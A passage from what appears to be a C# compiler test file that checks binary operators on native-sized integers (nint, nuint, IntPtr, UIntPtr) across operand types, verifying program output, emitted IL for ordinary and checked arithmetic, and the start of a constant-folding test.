binaryOps(symbol, "nint?", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint?");
binaryOps(symbol, "nint?", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong?");
binaryOps(symbol, "nint?", "float?");
binaryOps(symbol, "nint?", "double?");
binaryOps(symbol, "nint?", "decimal?");
binaryOps(symbol, "nint?", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string");
binaryOps(symbol, "nuint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint", includeVoidError: true));
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int");
binaryOps(symbol, "nuint", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint");
binaryOps(symbol, "nuint", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long");
binaryOps(symbol, "nuint", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float");
binaryOps(symbol, "nuint", "double");
binaryOps(symbol, "nuint", "decimal");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int?");
binaryOps(symbol, "nuint", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint?");
binaryOps(symbol, "nuint", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long?");
binaryOps(symbol, "nuint", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float?");
binaryOps(symbol, "nuint", "double?");
binaryOps(symbol, "nuint", "decimal?");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?", includeVoidError: true));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int");
binaryOps(symbol, "nuint?", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint");
binaryOps(symbol, "nuint?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long");
binaryOps(symbol, "nuint?", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float");
binaryOps(symbol, "nuint?", "double");
binaryOps(symbol, "nuint?", "decimal");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int?");
binaryOps(symbol, "nuint?", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint?");
binaryOps(symbol, "nuint?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long?");
binaryOps(symbol, "nuint?", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float?");
binaryOps(symbol, "nuint?", "double?");
binaryOps(symbol, "nuint?", "decimal?");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string");
binaryOps(symbol, "System.IntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr", includeVoidError: true));
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char");
binaryOps(symbol, "System.IntPtr", "sbyte");
binaryOps(symbol, "System.IntPtr", "byte");
binaryOps(symbol, "System.IntPtr", "short");
binaryOps(symbol, "System.IntPtr", "ushort");
binaryOps(symbol, "System.IntPtr", "int");
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?");
binaryOps(symbol, "System.IntPtr", "sbyte?");
binaryOps(symbol, "System.IntPtr", "byte?");
binaryOps(symbol, "System.IntPtr", "short?");
binaryOps(symbol, "System.IntPtr", "ushort?");
binaryOps(symbol, "System.IntPtr", "int?");
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string");
binaryOps(symbol, "System.IntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr?", includeVoidError: true));
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char");
binaryOps(symbol, "System.IntPtr?", "sbyte");
binaryOps(symbol, "System.IntPtr?", "byte");
binaryOps(symbol, "System.IntPtr?", "short");
binaryOps(symbol, "System.IntPtr?", "ushort");
binaryOps(symbol, "System.IntPtr?", "int");
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?");
binaryOps(symbol, "System.IntPtr?", "sbyte?");
binaryOps(symbol, "System.IntPtr?", "byte?");
binaryOps(symbol, "System.IntPtr?", "short?");
binaryOps(symbol, "System.IntPtr?", "ushort?");
binaryOps(symbol, "System.IntPtr?", "int?");
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string");
binaryOps(symbol, "System.UIntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char");
binaryOps(symbol, "System.UIntPtr", "sbyte");
binaryOps(symbol, "System.UIntPtr", "byte");
binaryOps(symbol, "System.UIntPtr", "short");
binaryOps(symbol, "System.UIntPtr", "ushort");
binaryOps(symbol, "System.UIntPtr", "int");
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?");
binaryOps(symbol, "System.UIntPtr", "sbyte?");
binaryOps(symbol, "System.UIntPtr", "byte?");
binaryOps(symbol, "System.UIntPtr", "short?");
binaryOps(symbol, "System.UIntPtr", "ushort?");
binaryOps(symbol, "System.UIntPtr", "int?");
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr?", "string");
binaryOps(symbol, "System.UIntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr?", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char");
binaryOps(symbol, "System.UIntPtr?", "sbyte");
binaryOps(symbol, "System.UIntPtr?", "byte");
binaryOps(symbol, "System.UIntPtr?", "short");
binaryOps(symbol, "System.UIntPtr?", "ushort");
binaryOps(symbol, "System.UIntPtr?", "int");
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?");
binaryOps(symbol, "System.UIntPtr?", "sbyte?");
binaryOps(symbol, "System.UIntPtr?", "byte?");
binaryOps(symbol, "System.UIntPtr?", "short?");
binaryOps(symbol, "System.UIntPtr?", "ushort?");
binaryOps(symbol, "System.UIntPtr?", "int?");
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?");
}
void binaryOperator(string op, string leftType, string rightType, string expectedSymbol, DiagnosticDescription[] expectedDiagnostics)
{
bool useUnsafeContext = useUnsafe(leftType) || useUnsafe(rightType);
string source =
$@"class Program
{{
static {(useUnsafeContext ? "unsafe " : "")}object Evaluate({leftType} x, {rightType} y)
{{
return x {op} y;
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseDll.WithAllowUnsafe(useUnsafeContext), parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var expr = tree.GetRoot().DescendantNodes().OfType<BinaryExpressionSyntax>().Single();
var symbolInfo = model.GetSymbolInfo(expr);
Assert.Equal(expectedSymbol, symbolInfo.Symbol?.ToDisplayString(SymbolDisplayFormat.TestFormat.WithMiscellaneousOptions(SymbolDisplayMiscellaneousOptions.UseSpecialTypes)));
if (expectedDiagnostics.Length == 0)
{
CompileAndVerify(comp);
}
static bool useUnsafe(string type) => type == "void*";
}
}
[Fact]
public void BinaryOperators_NInt()
{
var source =
@"using System;
class Program
{
static nint Add(nint x, nint y) => x + y;
static nint Subtract(nint x, nint y) => x - y;
static nint Multiply(nint x, nint y) => x * y;
static nint Divide(nint x, nint y) => x / y;
static nint Mod(nint x, nint y) => x % y;
static bool Equals(nint x, nint y) => x == y;
static bool NotEquals(nint x, nint y) => x != y;
static bool LessThan(nint x, nint y) => x < y;
static bool LessThanOrEqual(nint x, nint y) => x <= y;
static bool GreaterThan(nint x, nint y) => x > y;
static bool GreaterThanOrEqual(nint x, nint y) => x >= y;
static nint And(nint x, nint y) => x & y;
static nint Or(nint x, nint y) => x | y;
static nint Xor(nint x, nint y) => x ^ y;
static nint ShiftLeft(nint x, int y) => x << y;
static nint ShiftRight(nint x, int y) => x >> y;
static void Main()
{
Console.WriteLine(Add(3, 4));
Console.WriteLine(Subtract(3, 4));
Console.WriteLine(Multiply(3, 4));
Console.WriteLine(Divide(5, 2));
Console.WriteLine(Mod(5, 2));
Console.WriteLine(Equals(3, 4));
Console.WriteLine(NotEquals(3, 4));
Console.WriteLine(LessThan(3, 4));
Console.WriteLine(LessThanOrEqual(3, 4));
Console.WriteLine(GreaterThan(3, 4));
Console.WriteLine(GreaterThanOrEqual(3, 4));
Console.WriteLine(And(3, 5));
Console.WriteLine(Or(3, 5));
Console.WriteLine(Xor(3, 5));
Console.WriteLine(ShiftLeft(35, 4));
Console.WriteLine(ShiftRight(35, 4));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"7
-1
12
2
1
False
True
True
True
False
False
1
7
6
560
2");
verifier.VerifyIL("Program.Add",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: add
IL_0003: ret
}");
verifier.VerifyIL("Program.Subtract",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: sub
IL_0003: ret
}");
verifier.VerifyIL("Program.Multiply",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: mul
IL_0003: ret
}");
verifier.VerifyIL("Program.Divide",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: div
IL_0003: ret
}");
verifier.VerifyIL("Program.Mod",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: rem
IL_0003: ret
}");
verifier.VerifyIL("Program.Equals",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: ceq
IL_0004: ret
}");
verifier.VerifyIL("Program.NotEquals",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: ceq
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.LessThan",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: clt
IL_0004: ret
}");
verifier.VerifyIL("Program.LessThanOrEqual",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: cgt
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.GreaterThan",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: cgt
IL_0004: ret
}");
verifier.VerifyIL("Program.GreaterThanOrEqual",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: clt
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.And",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: and
IL_0003: ret
}");
verifier.VerifyIL("Program.Or",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: or
IL_0003: ret
}");
verifier.VerifyIL("Program.Xor",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: xor
IL_0003: ret
}");
verifier.VerifyIL("Program.ShiftLeft",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: shl
IL_0003: ret
}");
verifier.VerifyIL("Program.ShiftRight",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: shr
IL_0003: ret
}");
}
[Fact]
public void BinaryOperators_NUInt()
{
var source =
@"using System;
class Program
{
static nuint Add(nuint x, nuint y) => x + y;
static nuint Subtract(nuint x, nuint y) => x - y;
static nuint Multiply(nuint x, nuint y) => x * y;
static nuint Divide(nuint x, nuint y) => x / y;
static nuint Mod(nuint x, nuint y) => x % y;
static bool Equals(nuint x, nuint y) => x == y;
static bool NotEquals(nuint x, nuint y) => x != y;
static bool LessThan(nuint x, nuint y) => x < y;
static bool LessThanOrEqual(nuint x, nuint y) => x <= y;
static bool GreaterThan(nuint x, nuint y) => x > y;
static bool GreaterThanOrEqual(nuint x, nuint y) => x >= y;
static nuint And(nuint x, nuint y) => x & y;
static nuint Or(nuint x, nuint y) => x | y;
static nuint Xor(nuint x, nuint y) => x ^ y;
static nuint ShiftLeft(nuint x, int y) => x << y;
static nuint ShiftRight(nuint x, int y) => x >> y;
static void Main()
{
Console.WriteLine(Add(3, 4));
Console.WriteLine(Subtract(4, 3));
Console.WriteLine(Multiply(3, 4));
Console.WriteLine(Divide(5, 2));
Console.WriteLine(Mod(5, 2));
Console.WriteLine(Equals(3, 4));
Console.WriteLine(NotEquals(3, 4));
Console.WriteLine(LessThan(3, 4));
Console.WriteLine(LessThanOrEqual(3, 4));
Console.WriteLine(GreaterThan(3, 4));
Console.WriteLine(GreaterThanOrEqual(3, 4));
Console.WriteLine(And(3, 5));
Console.WriteLine(Or(3, 5));
Console.WriteLine(Xor(3, 5));
Console.WriteLine(ShiftLeft(35, 4));
Console.WriteLine(ShiftRight(35, 4));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"7
1
12
2
1
False
True
True
True
False
False
1
7
6
560
2");
verifier.VerifyIL("Program.Add",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: add
IL_0003: ret
}");
verifier.VerifyIL("Program.Subtract",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: sub
IL_0003: ret
}");
verifier.VerifyIL("Program.Multiply",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: mul
IL_0003: ret
}");
verifier.VerifyIL("Program.Divide",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: div.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Mod",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: rem.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Equals",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: ceq
IL_0004: ret
}");
verifier.VerifyIL("Program.NotEquals",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: ceq
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.LessThan",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: clt.un
IL_0004: ret
}");
verifier.VerifyIL("Program.LessThanOrEqual",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: cgt.un
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.GreaterThan",
@"{
// Code size 5 (0x5)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: cgt.un
IL_0004: ret
}");
verifier.VerifyIL("Program.GreaterThanOrEqual",
@"{
// Code size 8 (0x8)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: clt.un
IL_0004: ldc.i4.0
IL_0005: ceq
IL_0007: ret
}");
verifier.VerifyIL("Program.And",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: and
IL_0003: ret
}");
verifier.VerifyIL("Program.Or",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: or
IL_0003: ret
}");
verifier.VerifyIL("Program.Xor",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: xor
IL_0003: ret
}");
verifier.VerifyIL("Program.ShiftLeft",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: shl
IL_0003: ret
}");
verifier.VerifyIL("Program.ShiftRight",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: shr.un
IL_0003: ret
}");
}
[Fact]
public void BinaryOperators_NInt_Checked()
{
var source =
@"using System;
class Program
{
static nint Add(nint x, nint y) => checked(x + y);
static nint Subtract(nint x, nint y) => checked(x - y);
static nint Multiply(nint x, nint y) => checked(x * y);
static nint Divide(nint x, nint y) => checked(x / y);
static nint Mod(nint x, nint y) => checked(x % y);
static void Main()
{
Console.WriteLine(Add(3, 4));
Console.WriteLine(Subtract(3, 4));
Console.WriteLine(Multiply(3, 4));
Console.WriteLine(Divide(5, 2));
Console.WriteLine(Mod(5, 2));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"7
-1
12
2
1");
verifier.VerifyIL("Program.Add",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: add.ovf
IL_0003: ret
}");
verifier.VerifyIL("Program.Subtract",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: sub.ovf
IL_0003: ret
}");
verifier.VerifyIL("Program.Multiply",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: mul.ovf
IL_0003: ret
}");
verifier.VerifyIL("Program.Divide",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: div
IL_0003: ret
}");
verifier.VerifyIL("Program.Mod",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: rem
IL_0003: ret
}");
}
[Fact]
public void BinaryOperators_NUInt_Checked()
{
var source =
@"using System;
class Program
{
static nuint Add(nuint x, nuint y) => checked(x + y);
static nuint Subtract(nuint x, nuint y) => checked(x - y);
static nuint Multiply(nuint x, nuint y) => checked(x * y);
static nuint Divide(nuint x, nuint y) => checked(x / y);
static nuint Mod(nuint x, nuint y) => checked(x % y);
static void Main()
{
Console.WriteLine(Add(3, 4));
Console.WriteLine(Subtract(4, 3));
Console.WriteLine(Multiply(3, 4));
Console.WriteLine(Divide(5, 2));
Console.WriteLine(Mod(5, 2));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"7
1
12
2
1");
verifier.VerifyIL("Program.Add",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: add.ovf.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Subtract",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: sub.ovf.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Multiply",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: mul.ovf.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Divide",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: div.un
IL_0003: ret
}");
verifier.VerifyIL("Program.Mod",
@"{
// Code size 4 (0x4)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldarg.1
IL_0002: rem.un
IL_0003: ret
}");
}
[Fact]
public void ConstantFolding()
{
const string intMinValue = "-2147483648";
const string intMaxValue = "2147483647";
const string uintMaxValue = "4294967295";
const string ulongMaxValue = "18446744073709551615";
unaryOperator("nint", "+", intMinValue, intMinValue);
unaryOperator("nint", "+", intMaxValue, intMaxValue);
unaryOperator("nuint", "+", "0", "0");
unaryOperator("nuint", "+", uintMaxValue, uintMaxValue);
unaryOperator("nint", "-", "-1", "1");
unaryOperatorCheckedOverflow("nint", "-", intMinValue, IntPtr.Size == 4 ? "-2147483648" : "2147483648");
unaryOperator("nint", "-", "-2147483647", intMaxValue);
unaryOperator("nint", "-", intMaxValue, "-2147483647");
unaryOperator("nuint", "-", "0", null, getBadUnaryOpDiagnostics);
unaryOperator("nuint", "-", "1", null, getBadUnaryOpDiagnostics);
